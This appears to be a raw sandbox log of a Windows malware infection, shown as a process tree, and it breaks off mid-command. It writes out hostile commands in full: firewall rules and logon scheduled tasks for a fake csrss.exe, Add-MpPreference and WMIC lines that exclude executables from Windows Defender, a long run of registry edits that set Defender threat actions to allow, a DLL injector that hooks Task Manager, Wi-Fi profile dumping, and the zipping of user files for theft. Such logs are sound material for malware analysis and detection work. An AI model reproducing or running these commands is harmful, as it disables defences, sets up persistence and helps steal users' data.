C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000231001\lie.exe"C:\Users\Admin\AppData\Local\Temp\1000231001\lie.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main2⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\571316656366_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000238001\file300un.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Jo2FsUHJ8QIuhEFE7vjR0QrB.exe"C:\Users\Admin\Pictures\Jo2FsUHJ8QIuhEFE7vjR0QrB.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\u2u0.0.exe"C:\Users\Admin\AppData\Local\Temp\u2u0.0.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 31046⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\u2u0.2\run.exe"C:\Users\Admin\AppData\Local\Temp\u2u0.2\run.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\u2u0.3.exe"C:\Users\Admin\AppData\Local\Temp\u2u0.3.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3672 -s 11525⤵
- Program crash
-
C:\Users\Admin\Pictures\URV5RPLY1bbixTsWLKUg9G2n.exe"C:\Users\Admin\Pictures\URV5RPLY1bbixTsWLKUg9G2n.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\URV5RPLY1bbixTsWLKUg9G2n.exe"C:\Users\Admin\Pictures\URV5RPLY1bbixTsWLKUg9G2n.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Users\Admin\Pictures\im2pn3wLt8yVZmFjme1yoSBb.exe"C:\Users\Admin\Pictures\im2pn3wLt8yVZmFjme1yoSBb.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
C:\Users\Admin\Pictures\im2pn3wLt8yVZmFjme1yoSBb.exe"C:\Users\Admin\Pictures\im2pn3wLt8yVZmFjme1yoSBb.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"6⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes7⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile7⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll7⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\3W2psTC02mMiB2JSVAQ2UblJ.exe"C:\Users\Admin\Pictures\3W2psTC02mMiB2JSVAQ2UblJ.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\c9e5KUisukWvRsmiiucZ6Apo.exe"C:\Users\Admin\Pictures\c9e5KUisukWvRsmiiucZ6Apo.exe" --silent --allusers=04⤵
-
C:\Users\Admin\Pictures\c9e5KUisukWvRsmiiucZ6Apo.exeC:\Users\Admin\Pictures\c9e5KUisukWvRsmiiucZ6Apo.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x298,0x29c,0x2a0,0x274,0x2a4,0x6b4ae1d0,0x6b4ae1dc,0x6b4ae1e85⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\c9e5KUisukWvRsmiiucZ6Apo.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\c9e5KUisukWvRsmiiucZ6Apo.exe" --version5⤵
-
C:\Users\Admin\Pictures\c9e5KUisukWvRsmiiucZ6Apo.exe"C:\Users\Admin\Pictures\c9e5KUisukWvRsmiiucZ6Apo.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=3984 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240428045338" --session-guid=f0f032aa-ef18-4352-8f9d-409328a654c5 --server-tracking-blob="ZjEyYzVmZjg0ZWQ4NjU4MTIyNmMyZTI1YThhZTgzNzY0ZjEzMWU5Njk3OTcwNGY5ODA1M2FlOTYwZjBhMmZkNTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzE0MjgwMDAxLjkwNzkiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiNjk5YzI3YjctNGM4My00MGM4LTliMTEtMjc0OWU2MWU3YzIzIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=A0050000000000005⤵
-
C:\Users\Admin\Pictures\c9e5KUisukWvRsmiiucZ6Apo.exeC:\Users\Admin\Pictures\c9e5KUisukWvRsmiiucZ6Apo.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2a8,0x2ac,0x2b0,0x278,0x2b4,0x6ab2e1d0,0x6ab2e1dc,0x6ab2e1e86⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280453381\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280453381\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280453381\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280453381\assistant\assistant_installer.exe" --version5⤵
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280453381\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404280453381\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x746038,0x746044,0x7460506⤵
-
C:\Users\Admin\Pictures\bBPiNnReUy8NafgyVZlE4wwj.exe"C:\Users\Admin\Pictures\bBPiNnReUy8NafgyVZlE4wwj.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS9611.tmp\Install.exe.\Install.exe /WkfdidVYT "385118" /S5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 68⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 69⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 68⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 69⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 68⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 69⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 68⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 69⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"7⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force9⤵
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force10⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 04:55:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS9611.tmp\Install.exe\" Wt /JQddidNgXE 385118 /S" /V1 /F6⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C schtasks /run /I /tn biPxHmULFllsbMgnpt7⤵
-
\??\c:\windows\SysWOW64\schtasks.exeschtasks /run /I /tn biPxHmULFllsbMgnpt8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1000239001\mstc.exe"C:\Users\Admin\AppData\Local\Temp\1000239001\mstc.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1000239001\mstc.exe'3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'mstc.exe'3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\explorer.exe'3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\Admin\AppData\Roaming\explorer.exe"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5024 -ip 50241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4936 -ip 49361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3544 -ip 35441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4592 -ip 45921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4628 -ip 46281⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3672 -ip 36721⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS9611.tmp\Install.exeC:\Users\Admin\AppData\Local\Temp\7zS9611.tmp\Install.exe Wt /JQddidNgXE 385118 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 